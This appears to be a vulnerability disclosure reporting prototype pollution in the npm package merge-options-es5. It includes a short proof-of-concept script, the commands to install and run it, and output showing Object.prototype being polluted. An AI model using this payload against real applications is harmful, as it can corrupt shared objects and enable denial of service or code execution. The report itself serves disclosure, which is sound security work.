vulnerability prototype pollution
severity 7.3
language javascript
registry npm


merge-options-es5 is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
merge = require('merge-options-es5')

console.log('Before: ', {}.polluted)
merge({}, JSON.parse('{"__proto__": {"polluted": true}}'))
console.log('After: ', {}.polluted)
  1. Execute the following commands in the terminal:
npm i merge-options-es5 # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: true


Prototype Pollution leads to Information Disclosure/DoS/RCE.